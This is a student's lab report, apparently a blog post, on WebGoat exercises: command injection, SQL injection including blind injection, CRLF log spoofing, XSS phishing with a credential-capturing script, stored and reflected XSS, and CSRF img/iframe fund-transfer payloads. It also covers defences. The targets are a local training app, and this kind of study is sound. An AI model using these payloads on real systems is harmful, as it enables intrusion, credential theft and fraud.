2018-2019-2 网络对抗技术 20165324 Exp9: Web安全基础

2018-2019-2 网络对抗技术 20165324 Exp9: Web安全基础

课下实验

  • 实验内容概述

    • Webgoat准备
    • SQL注入攻击
    1. 命令注入(Command Injection)
    2. 数字型注入(Numeric SQL Injection)
    3. 日志欺骗(Log Spoofing
    4. SQL 注入(LAB: SQL Injection)
    5. 字符串注入(String SQL Injection)
    6. 数字型盲注入(Blind Numeric SQL Injection)
    • XSS攻击
    1. XSS 钓鱼(Phishing with XSS)
    2. 存储型XSS攻击(Stored XSS Attacks)
    3. 反射型XSS攻击(Reflected XSS Attacks)
    • CSRF攻击
    1. 跨站请求伪造(Cross Site Request Forgery (CSRF))
    2. 绕过 CSRF 确认( CSRF Prompt By‐Pass)
  • 基础问题回答

    • SQL注入攻击原理,如何防御
      • 原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果
      • 防御办法:关闭或删除不必要的交互式提交表单页面;普通用户与系统管理员用户的权限要有严格的区 分;不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。
    • XSS攻击的原理,如何防御
      • 原理:攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
      • 防御办法:网站开发者运用转义安全字符等手段,并且坚持不相信用户输入的任何数据的原则表单提交的时候进行特殊字符的检测;对输入框做长度限制;
    • CSRF攻击原理,如何防御
      • 原理:CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
      • 防御办法:使用令牌,每一个网页包含一个web server产生的令牌,提交时,也将该令牌提交到服务器,服务器进行判断,如果令牌不符合,就判定存在CSRF攻击;将提交方法改为post,或将 GET请求设置为只浏览而不改变服务器端资源;定期清理cookie。
  • 实验总结与体会

    • 本次实验我发现自己学到了很多新知识,对网络攻防的内容也有深切的认识和体会,虽然很多方面的学习不够深入,但自己对于基础的内容还是掌握了很多,有很大的收获。

内容9.1:WebGoat

  • 介绍:WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

  • 下载webgoat-container-7.0.1-war-exec.jar文件

  • 在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端。

  • 在浏览器中输入 http://localhost:8080/WebGoat进入WebGoat登录界面,直接用默认用户名密码登录即可。(若页面出错,可能是JDK版本不兼容,参考链接:https://www.jianshu.com/p/9ec7838411c8)

内容9.2:SQL注入攻击(Injection Flaws)

1.命令注入(Command Injection)

  • 原理:在正常的参数提交过程中添加恶意代码以执行某条指令。

  • 目标:可以在目标主机上执行任何系统命令

-操作方法:

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"

  • 点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!

2. 数字型注入(Numeric SQL Injection)

  • 原理:在station字段中注入特征字符,组合成新的SQL语句。
    如:SELECT * FROM weather_data WHERE station = [station]

  • 目标:该例子通过注入SQL字符串查看所有的天气数据。

  • 操作方法:
    右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1

  • 显示所有城市的天气情况,攻击成功!

3. 日志欺骗(Log Spoofing)

  • 原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
  • 目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
  • 操作方法:
    • 前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。
    • 利用入回车(0D%)和换行符(%0A),在 username 中填入hcj%0d%0aLogin Succeeded for username: admin

4. SQL 注入(LAB: SQL Injection)

  • Stage 1: 字符串型注入(Stage 1: String SQL Injection)

  • 原理:通过注入字符串绕过认证

  • 操作方法:

    • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20。

- 以用户Smith 登录,输入密码```Smith' or 1=1--```
- 得到所有人员列表,攻击成功!

  • Stage 3:数字型 SQL 注入(Stage 3: Numeric SQL Injection)

  • 原理:通过注入数字型数据,绕过认证,可以通过普通员工的账户,查看到BOSS的用户信息。

  • 操作方法:

    • 使用用户名 Larry,密码 larry 点击login登录,点击ViewProfile查看用户信息
    • 右键点击页面,选择inspect Element审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。
    • 用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc,使得老板的信息作为查询到的第一条数据。
    • 得到老板的账户信息,攻击成功!

5.字符串注入(String SQL Injection)

  • 原理:基于以下查询语句构造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?' 
  • 目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。

  • 操作方法:

    • 正常情况下只能查询到用户名对应的信用卡号码
    • 输入查询的用户名Smith' or 1=1--(Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)
    • 得到所有用户的信用卡号码,攻击成功!

6. 数字型盲注入(Blind Numeric SQL Injection)

  • 原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。

  • 目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。

  • 操作方法:

    • 本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;

    • 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。

    • 针对查询语句的后半部分构造复杂语句,如:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364

内容9.3:XSS攻击

  • 跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。

1. XSS 钓鱼(Phishing with XSS)

  • 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。

  • 目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

  • 操作方法:

    • 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:

      • 受害人填写一个表格;
      • 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
        编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
    • 编写一个带用户名和密码输入框的表格

//脚本
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

2. 存储型XSS攻击(Stored XSS Attacks)

  • 原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

  • 目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

  • 给用户发一个信息,用户在打开这个信息的时候触发了隐藏在信息里面js代码,然后被盗走了cookies

3. 反射型XSS攻击(Reflected XSS Attacks)

  • 原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。

  • 目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击

  • 操作方法:

    • 输入代码<script>alert("hello20165324");</script>,点击purse的同时页面就给出了反馈

内容9.4:CSRF攻击

1. 跨站请求伪造(Cross Site Request Forgery (CSRF))

  • 操作方法:
    • 查看页面右侧Parameters中的src和menu值,分别为276和900

- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack Screen=267&menu=900&transferFunds=5000" width="1" height="1" />

,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
- 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

2. 绕过 CSRF 确认( CSRF Prompt By‐Pass)

  • 操作方法:

    • 查看页面右侧Parameters中的src和menu值分别为276和900
    • 并在title框中输入学号,message框中输入代码:
    <iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>
    
    • 在Message
      List中生成以Title命名的链接,点击进入后,攻击成功。

posted @ 2019-05-26 17:22  麒麟之翼♥  阅读(175)  评论(0编辑  收藏  举报